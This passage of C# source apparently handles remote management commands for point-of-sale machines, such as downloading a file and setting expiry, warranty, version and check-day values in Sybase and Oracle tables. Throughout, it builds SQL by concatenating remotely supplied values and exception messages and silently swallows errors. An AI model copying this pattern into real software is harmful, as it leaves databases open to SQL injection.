+ "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + // "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + // "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "未找到对应商品信息"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','未找到对应商品信息')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3,REMARK_DESC='正常," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 下载 命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "download") { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; if ((datenow - datebegin).TotalMinutes % arr == 0) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif"); request.Method = "GET"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); List btlst = new List(); int b = responseStream.ReadByte(); while (b > -1) { btlst.Add((byte)b); b = responseStream.ReadByte(); } byte[] bts = btlst.ToArray(); File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件 try { Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif"); request.Method = "GET"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); List btlst = new List(); int b = responseStream.ReadByte(); while (b > -1) { btlst.Add((byte)b); b = responseStream.ReadByte(); } byte[] bts = btlst.ToArray(); File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件 try { Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改有效期命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expirydate") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " + "WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date) { isContents = true; } } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set expiry_date = date('" + HANDCONTENT + "') where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); if (((DateTime)Lib.SyBaseHelper.QueryOdbc("SELECT EXPIRY_DATE FROM SYS_GLOBLE " + "WHERE VAR_NAME = 'g_ver'").Tables[0].Rows[0]["EXPIRY_DATE"]).Date == DateTime.Parse(HANDCONTENT).Date) { isContents = true; } } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 设置硬件有效日期 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setwarranty_date") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set WARRANTY_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置硬件有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置硬件有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 设置结账有效日期 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "setendaccount_date") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set ENDACCOUNT_DATE = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='设置结账有效日期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改版本号 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "Version_num") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号期成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改日结校验天数 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "check_day") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 修改结账提醒天数 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "endaccount_day") { string sql = ""; string Oraclesql = ""; bool isContents = false; try { if (REPEAT_STATE == "1") { if ((datenow - 